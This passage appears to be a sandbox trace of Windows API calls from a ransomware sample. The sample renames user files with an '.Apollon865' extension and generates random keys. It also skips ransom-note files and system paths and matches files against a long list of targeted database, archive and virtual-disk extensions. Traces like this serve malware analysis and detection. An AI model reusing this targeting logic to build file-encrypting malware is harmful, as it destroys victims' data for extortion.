	[0087.290] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\KbNeAnEtW32z3.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\kbneanetw32z3.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\KbNeAnEtW32z3.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\kbneanetw32z3.jpg.apollon865"), dwFlags=0x1) returned 1
	[0087.291] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\KbNeAnEtW32z3.jpg.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\s-v8p_ll9yksvy\\kbneanetw32z3.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.292] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=75258) returned 1
	[0087.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.292] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.293] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.293] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.293] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12900, lpName=0x0) returned 0x15c
	[0087.293] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12900) returned 0x120000
	[0087.296] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.297] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.297] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.297] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.297] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0087.298] CloseHandle (hObject=0x15c) returned 1
	[0087.298] CloseHandle (hObject=0x9c) returned 1
	[0087.308] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.308] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.308] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.309] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x409aed10, ftCreationTime.dwHighDateTime=0x1d4cbf8, ftLastAccessTime.dwLowDateTime=0x9be8bd20, ftLastAccessTime.dwHighDateTime=0x1d4cd86, ftLastWriteTime.dwLowDateTime=0x9be8bd20, ftLastWriteTime.dwHighDateTime=0x1d4cd86, nFileSizeHigh=0x0, nFileSizeLow=0x6c31, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mhK2i-l2pHf.jpg", cAlternateFileName="MHK2I-~1.JPG")) returned 1
	[0087.309] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.309] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0087.309] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2=".") returned 1
	[0087.309] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2="..") returned 1
	[0087.309] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2="windows") returned -1
	[0087.309] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2="bootmgr") returned 1
	[0087.309] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2="temp") returned -1
	[0087.309] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2="pagefile.sys") returned -1
	[0087.309] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2="boot") returned 1
	[0087.309] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2="ids.txt") returned 1
	[0087.309] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2="ntuser.dat") returned -1
	[0087.309] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2="perflogs") returned -1
	[0087.309] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2="MSBuild") returned -1
	[0087.309] lstrlenW (lpString="mhK2i-l2pHf.jpg") returned 15
	[0087.309] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY\\KbNeAnEtW32z3.jpg") returned 71
	[0087.309] lstrcpyW (in: lpString1=0x119e674, lpString2="mhK2i-l2pHf.jpg" | out: lpString1="mhK2i-l2pHf.jpg") returned="mhK2i-l2pHf.jpg"
	[0087.309] lstrlenW (lpString="mhK2i-l2pHf.jpg") returned 15
	[0087.309] lstrlenW (lpString="Apollon865") returned 10
	[0087.309] lstrcmpiW (lpString1="-l2pHf.jpg", lpString2="Apollon865") returned 1
	[0087.309] lstrlenW (lpString=".dll") returned 4
	[0087.309] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2=".dll") returned 1
	[0087.309] lstrlenW (lpString=".lnk") returned 4
	[0087.309] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2=".lnk") returned 1
	[0087.309] lstrlenW (lpString=".ini") returned 4
	[0087.309] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2=".ini") returned 1
	[0087.309] lstrlenW (lpString=".sys") returned 4
	[0087.309] lstrcmpiW (lpString1="mhK2i-l2pHf.jpg", lpString2=".sys") returned 1
	[0087.309] lstrlenW (lpString="mhK2i-l2pHf.jpg") returned 15
	[0087.309] lstrlenW (lpString="bak") returned 3
	[0087.310] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0087.310] lstrlenW (lpString="ba_") returned 3
	[0087.310] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0087.310] lstrlenW (lpString="dbb") returned 3
	[0087.310] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0087.310] lstrlenW (lpString="vmdk") returned 4
	[0087.310] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0087.310] lstrlenW (lpString="rar") returned 3
	[0087.310] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0087.310] lstrlenW (lpString="zip") returned 3
	[0087.310] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0087.310] lstrlenW (lpString="tgz") returned 3
	[0087.310] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0087.310] lstrlenW (lpString="vbox") returned 4
	[0087.310] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0087.310] lstrlenW (lpString="vdi") returned 3
	[0087.310] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0087.310] lstrlenW (lpString="vhd") returned 3
	[0087.310] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0087.310] lstrlenW (lpString="vhdx") returned 4
	[0087.310] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0087.310] lstrlenW (lpString="avhd") returned 4
	[0087.310] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0087.310] lstrlenW (lpString="db") returned 2
	[0087.310] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0087.310] lstrlenW (lpString="db2") returned 3
	[0087.310] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0087.310] lstrlenW (lpString="db3") returned 3
	[0087.310] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0087.310] lstrlenW (lpString="dbf") returned 3
	[0087.310] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0087.310] lstrlenW (lpString="mdf") returned 3
	[0087.310] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0087.310] lstrlenW (lpString="mdb") returned 3
	[0087.311] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0087.311] lstrlenW (lpString="sql") returned 3
	[0087.311] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0087.311] lstrlenW (lpString="sqlite") returned 6
	[0087.311] lstrcmpiW (lpString1="Hf.jpg", lpString2="sqlite") returned -1
	[0087.311] lstrlenW (lpString="sqlite3") returned 7
	[0087.311] lstrcmpiW (lpString1="pHf.jpg", lpString2="sqlite3") returned -1
	[0087.311] lstrlenW (lpString="sqlitedb") returned 8
	[0087.311] lstrcmpiW (lpString1="2pHf.jpg", lpString2="sqlitedb") returned -1
	[0087.311] lstrlenW (lpString="xml") returned 3
	[0087.311] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0087.311] lstrlenW (lpString="$er") returned 3
	[0087.311] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0087.311] lstrlenW (lpString="4dd") returned 3
	[0087.311] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0087.311] lstrlenW (lpString="4dl") returned 3
	[0087.311] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0087.311] lstrlenW (lpString="^^^") returned 3
	[0087.311] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0087.311] lstrlenW (lpString="abs") returned 3
	[0087.311] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0087.311] lstrlenW (lpString="abx") returned 3
	[0087.311] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0087.311] lstrlenW (lpString="accdb") returned 5
	[0087.311] lstrcmpiW (lpString1="f.jpg", lpString2="accdb") returned 1
	[0087.311] lstrlenW (lpString="accdc") returned 5
	[0087.311] lstrcmpiW (lpString1="f.jpg", lpString2="accdc") returned 1
	[0087.311] lstrlenW (lpString="accde") returned 5
	[0087.311] lstrcmpiW (lpString1="f.jpg", lpString2="accde") returned 1
	[0087.311] lstrlenW (lpString="accdr") returned 5
	[0087.311] lstrcmpiW (lpString1="f.jpg", lpString2="accdr") returned 1
	[0087.311] lstrlenW (lpString="accdt") returned 5
	[0087.311] lstrcmpiW (lpString1="f.jpg", lpString2="accdt") returned 1
	[0087.311] lstrlenW (lpString="accdw") returned 5
	[0087.311] lstrcmpiW (lpString1="f.jpg", lpString2="accdw") returned 1
	[0087.311] lstrlenW (lpString="accft") returned 5
	[0087.312] lstrcmpiW (lpString1="f.jpg", lpString2="accft") returned 1
	[0087.312] lstrlenW (lpString="adb") returned 3
	[0087.312] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0087.312] lstrlenW (lpString="adb") returned 3
	[0087.312] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0087.312] lstrlenW (lpString="ade") returned 3
	[0087.312] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0087.312] lstrlenW (lpString="adf") returned 3
	[0087.312] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0087.312] lstrlenW (lpString="adn") returned 3
	[0087.312] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0087.312] lstrlenW (lpString="adp") returned 3
	[0087.312] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0087.312] lstrlenW (lpString="alf") returned 3
	[0087.312] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0087.312] lstrlenW (lpString="ask") returned 3
	[0087.312] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0087.312] lstrlenW (lpString="btr") returned 3
	[0087.312] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0087.312] lstrlenW (lpString="cat") returned 3
	[0087.312] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0087.312] lstrlenW (lpString="cdb") returned 3
	[0087.312] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0087.312] lstrlenW (lpString="ckp") returned 3
	[0087.312] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0087.312] lstrlenW (lpString="cma") returned 3
	[0087.312] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0087.312] lstrlenW (lpString="cpd") returned 3
	[0087.312] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0087.312] lstrlenW (lpString="dacpac") returned 6
	[0087.312] lstrcmpiW (lpString1="Hf.jpg", lpString2="dacpac") returned 1
	[0087.312] lstrlenW (lpString="dad") returned 3
	[0087.312] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0087.312] lstrlenW (lpString="dadiagrams") returned 10
	[0087.312] lstrcmpiW (lpString1="-l2pHf.jpg", lpString2="dadiagrams") returned 1
	[0087.313] lstrlenW (lpString="daschema") returned 8
	[0087.313] lstrcmpiW (lpString1="2pHf.jpg", lpString2="daschema") returned -1
	[0087.313] lstrlenW (lpString="db-journal") returned 10
	[0087.313] lstrcmpiW (lpString1="-l2pHf.jpg", lpString2="db-journal") returned 1
	[0087.313] lstrlenW (lpString="db-shm") returned 6
	[0087.313] lstrcmpiW (lpString1="Hf.jpg", lpString2="db-shm") returned 1
	[0087.313] lstrlenW (lpString="db-wal") returned 6
	[0087.313] lstrcmpiW (lpString1="Hf.jpg", lpString2="db-wal") returned 1
	[0087.313] lstrlenW (lpString="dbc") returned 3
	[0087.313] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0087.313] lstrlenW (lpString="dbs") returned 3
	[0087.313] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0087.313] lstrlenW (lpString="dbt") returned 3
	[0087.313] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0087.313] lstrlenW (lpString="dbv") returned 3
	[0087.313] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0087.313] lstrlenW (lpString="dbx") returned 3
	[0087.313] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0087.313] lstrlenW (lpString="dcb") returned 3
	[0087.313] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0087.313] lstrlenW (lpString="dct") returned 3
	[0087.313] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0087.313] lstrlenW (lpString="dcx") returned 3
	[0087.313] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0087.313] lstrlenW (lpString="ddl") returned 3
	[0087.313] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0087.313] lstrlenW (lpString="dlis") returned 4
	[0087.313] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0087.313] lstrlenW (lpString="dp1") returned 3
	[0087.313] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0087.313] lstrlenW (lpString="dqy") returned 3
	[0087.314] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0087.314] lstrlenW (lpString="dsk") returned 3
	[0087.314] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0087.314] lstrlenW (lpString="dsn") returned 3
	[0087.314] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0087.314] lstrlenW (lpString="dtsx") returned 4
	[0087.314] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0087.314] lstrlenW (lpString="dxl") returned 3
	[0087.314] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0087.314] lstrlenW (lpString="eco") returned 3
	[0087.314] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0087.314] lstrlenW (lpString="ecx") returned 3
	[0087.314] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0087.314] lstrlenW (lpString="edb") returned 3
	[0087.314] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0087.314] lstrlenW (lpString="epim") returned 4
	[0087.314] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0087.314] lstrlenW (lpString="fcd") returned 3
	[0087.314] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0087.314] lstrlenW (lpString="fdb") returned 3
	[0087.314] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0087.314] lstrlenW (lpString="fic") returned 3
	[0087.314] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0087.314] lstrlenW (lpString="flexolibrary") returned 12
	[0087.314] lstrcmpiW (lpString1="2i-l2pHf.jpg", lpString2="flexolibrary") returned -1
	[0087.314] lstrlenW (lpString="fm5") returned 3
	[0087.314] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0087.314] lstrlenW (lpString="fmp") returned 3
	[0087.314] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0087.314] lstrlenW (lpString="fmp12") returned 5
	[0087.314] lstrcmpiW (lpString1="f.jpg", lpString2="fmp12") returned -1
	[0087.314] lstrlenW (lpString="fmpsl") returned 5
	[0087.314] lstrcmpiW (lpString1="f.jpg", lpString2="fmpsl") returned -1
	[0087.315] lstrlenW (lpString="fol") returned 3
	[0087.315] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0087.315] lstrlenW (lpString="fp3") returned 3
	[0087.315] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0087.315] lstrlenW (lpString="fp4") returned 3
	[0087.315] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0087.315] lstrlenW (lpString="fp5") returned 3
	[0087.315] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0087.315] lstrlenW (lpString="fp7") returned 3
	[0087.315] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0087.315] lstrlenW (lpString="fpt") returned 3
	[0087.315] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0087.315] lstrlenW (lpString="frm") returned 3
	[0087.315] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0087.315] lstrlenW (lpString="gdb") returned 3
	[0087.315] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0087.315] lstrlenW (lpString="gdb") returned 3
	[0087.315] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0087.315] lstrlenW (lpString="grdb") returned 4
	[0087.315] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0087.315] lstrlenW (lpString="gwi") returned 3
	[0087.315] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0087.315] lstrlenW (lpString="hdb") returned 3
	[0087.315] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0087.315] lstrlenW (lpString="his") returned 3
	[0087.315] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0087.315] lstrlenW (lpString="ib") returned 2
	[0087.315] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0087.315] lstrlenW (lpString="idb") returned 3
	[0087.315] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0087.315] lstrlenW (lpString="ihx") returned 3
	[0087.315] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0087.315] lstrlenW (lpString="itdb") returned 4
	[0087.315] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0087.316] lstrlenW (lpString="itw") returned 3
	[0087.316] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0087.316] lstrlenW (lpString="jet") returned 3
	[0087.316] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0087.316] lstrlenW (lpString="jtx") returned 3
	[0087.316] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0087.316] lstrlenW (lpString="kdb") returned 3
	[0087.316] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0087.316] lstrlenW (lpString="kexi") returned 4
	[0087.316] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0087.316] lstrlenW (lpString="kexic") returned 5
	[0087.316] lstrcmpiW (lpString1="f.jpg", lpString2="kexic") returned -1
	[0087.316] lstrlenW (lpString="kexis") returned 5
	[0087.316] lstrcmpiW (lpString1="f.jpg", lpString2="kexis") returned -1
	[0087.316] lstrlenW (lpString="lgc") returned 3
	[0087.316] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0087.316] lstrlenW (lpString="lwx") returned 3
	[0087.316] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0087.316] lstrlenW (lpString="maf") returned 3
	[0087.316] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0087.316] lstrlenW (lpString="maq") returned 3
	[0087.316] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0087.316] lstrlenW (lpString="mar") returned 3
	[0087.316] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0087.316] lstrlenW (lpString="marshal") returned 7
	[0087.316] lstrcmpiW (lpString1="pHf.jpg", lpString2="marshal") returned 1
	[0087.316] lstrlenW (lpString="mas") returned 3
	[0087.316] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0087.316] lstrlenW (lpString="mav") returned 3
	[0087.316] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0087.316] lstrlenW (lpString="maw") returned 3
	[0087.316] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0087.316] lstrlenW (lpString="mdbhtml") returned 7
	[0087.316] lstrcmpiW (lpString1="pHf.jpg", lpString2="mdbhtml") returned 1
	[0087.316] lstrlenW (lpString="mdn") returned 3
	[0087.317] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0087.317] lstrlenW (lpString="mdt") returned 3
	[0087.317] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0087.317] lstrlenW (lpString="mfd") returned 3
	[0087.317] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0087.317] lstrlenW (lpString="mpd") returned 3
	[0087.317] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0087.317] lstrlenW (lpString="mrg") returned 3
	[0087.317] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0087.317] lstrlenW (lpString="mud") returned 3
	[0087.317] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0087.317] lstrlenW (lpString="mwb") returned 3
	[0087.317] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0087.317] lstrlenW (lpString="myd") returned 3
	[0087.317] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0087.317] lstrlenW (lpString="ndf") returned 3
	[0087.317] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0087.317] lstrlenW (lpString="nnt") returned 3
	[0087.317] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0087.317] lstrlenW (lpString="nrmlib") returned 6
	[0087.317] lstrcmpiW (lpString1="Hf.jpg", lpString2="nrmlib") returned -1
	[0087.317] lstrlenW (lpString="ns2") returned 3
	[0087.317] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0087.317] lstrlenW (lpString="ns3") returned 3
	[0087.317] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0087.317] lstrlenW (lpString="ns4") returned 3
	[0087.317] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0087.317] lstrlenW (lpString="nsf") returned 3
	[0087.317] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0087.317] lstrlenW (lpString="nv") returned 2
	[0087.317] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0087.317] lstrlenW (lpString="nv2") returned 3
	[0087.317] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0087.317] lstrlenW (lpString="nwdb") returned 4
	[0087.318] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0087.318] lstrlenW (lpString="nyf") returned 3
	[0087.318] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0087.318] lstrlenW (lpString="odb") returned 3
	[0087.318] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0087.318] lstrlenW (lpString="odb") returned 3
	[0087.318] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0087.318] lstrlenW (lpString="oqy") returned 3
	[0087.318] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0087.318] lstrlenW (lpString="ora") returned 3
	[0087.318] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0087.318] lstrlenW (lpString="orx") returned 3
	[0087.318] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0087.318] lstrlenW (lpString="owc") returned 3
	[0087.318] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0087.318] lstrlenW (lpString="p96") returned 3
	[0087.318] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0087.318] lstrlenW (lpString="p97") returned 3
	[0087.318] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0087.318] lstrlenW (lpString="pan") returned 3
	[0087.318] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0087.318] lstrlenW (lpString="pdb") returned 3
	[0087.318] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0087.318] lstrlenW (lpString="pdm") returned 3
	[0087.318] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0087.318] lstrlenW (lpString="pnz") returned 3
	[0087.318] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0087.318] lstrlenW (lpString="qry") returned 3
	[0087.318] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0087.318] lstrlenW (lpString="qvd") returned 3
	[0087.318] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0087.318] lstrlenW (lpString="rbf") returned 3
	[0087.318] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0087.318] lstrlenW (lpString="rctd") returned 4
	[0087.318] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0087.319] lstrlenW (lpString="rod") returned 3
	[0087.319] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0087.319] lstrlenW (lpString="rodx") returned 4
	[0087.319] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0087.319] lstrlenW (lpString="rpd") returned 3
	[0087.319] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0087.319] lstrlenW (lpString="rsd") returned 3
	[0087.319] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0087.319] lstrlenW (lpString="sas7bdat") returned 8
	[0087.319] lstrcmpiW (lpString1="2pHf.jpg", lpString2="sas7bdat") returned -1
	[0087.319] lstrlenW (lpString="sbf") returned 3
	[0087.319] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0087.319] lstrlenW (lpString="scx") returned 3
	[0087.319] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0087.319] lstrlenW (lpString="sdb") returned 3
	[0087.319] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0087.319] lstrlenW (lpString="sdc") returned 3
	[0087.319] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0087.319] lstrlenW (lpString="sdf") returned 3
	[0087.319] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0087.319] lstrlenW (lpString="sis") returned 3
